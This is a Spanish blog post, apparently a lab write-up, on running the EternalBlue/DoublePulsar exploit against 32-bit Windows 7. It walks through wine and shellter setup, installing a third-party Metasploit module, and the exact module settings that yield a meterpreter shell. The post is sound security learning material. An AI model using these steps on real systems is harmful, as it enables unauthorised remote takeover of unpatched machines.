Explotar vulnerabilidad MS-17-010 EternalBlue – DoublePulsar en un WINDOWS 7 de 32 BITS

Explotar vulnerabilidad MS-17-010 EternalBlue – DoublePulsar en un WINDOWS 7 de 32 BITS

Entre las vulnerabilidades más destacadas y ampliamente aprovechadas se encuentra la MS17-010, también conocida como EternalBlue, una vulnerabilidad en el protocolo SMB de Microsoft que facilita la ejecución remota de código en sistemas Windows no parcheados.

Descubierta en 2017, esta vulnerabilidad se ha convertido en un objetivo primordial para los actores malintencionados debido a su capacidad para propagarse de manera rápida y eficiente a través de redes corporativas y sistemas conectados a Internet. EternalBlue fue inicialmente utilizado en el ataque global de ransomware WannaCry, que afectó a miles de organizaciones en todo el mundo, generando pérdidas significativas y resaltando la importancia crítica de aplicar parches de seguridad de manera oportuna.

Además de EternalBlue, otro componente clave en este panorama de amenazas es DoublePulsar, un implante de backdoor desarrollado por la Agencia de Seguridad Nacional de Estados Unidos (NSA) que se filtró junto con EternalBlue en 2017. DoublePulsar se utiliza para implantar y ejecutar código malicioso en sistemas comprometidos, aprovechando la vulnerabilidad MS17-010 para su distribución.

MetaSploit ya contiene el exploit windows/smb/smb_doublepulsar_rce, y como indica su documentación:

This module is also known as DOUBLEPULSAR.

This module executes a Metasploit payload against the Equation Group’s DOUBLEPULSAR implant for SMB as popularly deployed by ETERNALBLUE. While this module primarily performs code execution against the implant, the «Neutralize implant» target allows you to disable the implant.

Sin embargo, al analizar detalladamente la documentación, se evidencia que el objetivo de este exploit es «Ejecutar payload x64», lo que lo hace incompatible con equipos de 32 bits.

Id Name
-- ----
0 Execute payload (x64)
1 Neutralize implant

Recientemente, me enfrenté a un escenario desafiante en un entorno de laboratorio donde encontré un equipo con Windows 7 vulnerable a esta explotación. A pesar de los desafíos, logré resolver la situación de manera efectiva. A continuación, compartiré cómo abordé este problema y encontré una solución.

Sufriendo el error

Como he indicado, windows/smb/smb_doublepulsar_rce parece que solo funciona con equipos víctima de 64bits, y a continuación podemos verlo al ejecutar un «show targets».

Aún así, configuro el exploit y lo ejecuto para comprobarlo, y observamos que nos indica: «x86 is not a supported target»

¿Y ahora que hago?

Investigando sobre el asunto, se encuentra el blog backtrackacademy.com con una entrada dedicada al tema del exploit de eternalblue en 32 bits, donde siguiendo los pasos tuve algún que otro problema con la versión de kali 2024 y 2023.4 por culpa de wine. Además, me encontré algún que otro paso que no estaba del todo bien explicado.

Finalmente, los pasos que voy a explicar, están sobre un kali 2023.4.

Instalar wine

A parte del blog del blog backtrackacademy.com, encontré otros muchos antiguos en los que indican instalar wine. Pero si seguía esos pasos, siempre me encontraba con el error «0090:err:ole:start_rpcss Failed to start RpcSc service» al ejecutar el exploit.

Finalmente, a raíz de un video de youtube, encontré como solucionar unos problemas de dependencias instalando shellter. Y seguí estos pasos:

sudo apt update
sudo apt-get upgrade
sudo apt install shellter

Una vez instalado shellter, si lo ejecutamos podemos ver que nos da un error. Por tanto, a continuación continúo ejecutando los siguientes comandos:

sudo dpkg --add-architecture i386 && sudo apt update && sudo apt -y install wine32
sudo apt-get install wine32:i386

Una vez lanzados los comandos anteriores, añadimos la siguiente línea «deb http//ftp.de.debian.org/debian sid main» en el fichero sources.list

sudo nano /etc/apt/sources.list

Y a continuación:

sudo apt update
sudo apt-get upgrade
#probamos a ejecutar shellter, el cual no debería dar ya ningún problema
shellter

Descarga de Eternalblue-Doublepulsar-Metasploit

Gracias a Sheila y Pablo que crearon un módulo para el FrameWork Metasploit, nos permite explotar dicha vulnerabilidad(24/04) contra un equipo de x64 y x86. Para integrarlo a Metasploit es necesario tener instalado Wine (32 y 64 bits), el cual hemos instalado al instalar shellter.

Por tanto, los siguientes comandos a ejecutar son:

# Obtener privilegios de superusuario
sudo -s

# Cambiar al directorio /root
cd /root

# Clonar el repositorio desde GitHub. Se descarga en /root
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git

# Cambiar al directorio del repositorio clonado
cd /root/Eternalblue-Doublepulsar-Metasploit/

# Copiar el archivo eternalblue_doublepulsar.rb al directorio de módulos de exploits de Metasploit
sudo cp eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb

# Crear la estructura de directorios necesaria para Wine
mkdir -p /root/.wine/drive_c/

#Arrancar metaSploit
sudo msfconsole

Y arrancamos MetaSploit!!!

A continuación, seleccionamos que queremos utilizar este exploit y lo configuramos

# Usar el exploit eternalblue_doublepulsar en Metasploit
use exploit/windows/smb/eternalblue_doublepulsar

# Establecer la dirección IP de la víctima en la variable RHOSTS
set RHOSTS [IP_VICTIMA]

# Establecer el proceso a inyectar como explorer.exe
set PROCESSINJECT explorer.exe

# Establecer la arquitectura del objetivo como X86 (32 bits)
set TARGETARCHITECTURE X86

# Establecer el objetivo como ['Windows 7 (all services pack) (x86) (x64)',{}]
set TARGET 8

#Ejecutamos el exploit
exploit

Y ya tenemos la consola de meterpreter

Y lanzando una shell, podemos ver información sobre el usuario que hemos adquirido y sus privilegios

Fuentes

1 comentario

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *